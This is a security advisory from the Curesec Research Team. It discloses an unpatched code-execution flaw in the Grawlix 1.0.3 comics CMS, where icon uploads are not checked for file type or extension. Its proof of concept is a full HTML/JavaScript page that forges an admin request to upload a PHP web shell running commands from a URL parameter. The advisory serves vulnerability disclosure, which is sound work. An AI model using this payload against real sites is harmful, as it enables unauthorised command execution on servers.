Security Advisory - Curesec Research Team 1. Introduction Affected Product: Grawlix 1.0.3 Fixed in: not fixed Fixed Version Link: n/a Vendor Website: http://www.getgrawlix.com/ Vulnerability Type: Code Execution Remote Exploitable: Yes Reported to vendor: 11/17/2015 Disclosed to public: 12/21/2015 Release mode: Full Disclosure CVE: n/a Credits Tim Coen of Curesec GmbH 2. Overview CVSS High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C Description Grawlix is a CMS for publishing comics, which is written in PHP. When uploading an image icon for a link, neither the file type nor the file extension are checked, leading to code execution. It should be noted that admin credentials are required to upload an icon, and that because of a bug when uploading icons, the upload only works if Grawlix is installed in the root directory. 3. Proof of Concept <html> <body> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://localhost/_admin/site.link-list.php", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------172718417319970434061213874184"); xhr.withCredentials = true; var body = "-----------------------------172718417319970434061213874184\r\n" + "Content-Disposition: form-data; name=\"input[title]\"\r\n" + "\r\n" + "Site name\r\n" + "-----------------------------172718417319970434061213874184\r\n" + "Content-Disposition: form-data; name=\"input[url]\"\r\n" + "\r\n" + "http://google.com\r\n" + "-----------------------------172718417319970434061213874184\r\n" + "Content-Disposition: form-data; name=\"icon_file\"; filename=\"test.php\"\r\n" + "Content-Type: application/x-php\r\n" + "\r\n" + "\x3c?php \n" + "passthru($_GET[\'x\']);\n" + "\r\n" + "-----------------------------172718417319970434061213874184\r\n" + "Content-Disposition: form-data; name=\"submit\"\r\n" + "\r\n" + "save\r\n" + "-----------------------------172718417319970434061213874184--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form> </body> </html> 4. Solution This issue was not fixed by the vendor. 5. Report Timeline 11/17/2015 Informed Vendor about Issue (no reply) 12/10/2015 Reminded Vendor of Disclosure Date (no reply) 12/21/2015 Disclosed to public Blog Reference: https://blog.curesec.com/article/blog/Grawlix-103-Code-Execution-127.html -- blog: https://blog.curesec.com tweet: https://twitter.com/curesec Curesec GmbH Curesec Research Team Romain-Rolland-Str 14-24 13089 Berlin, Germany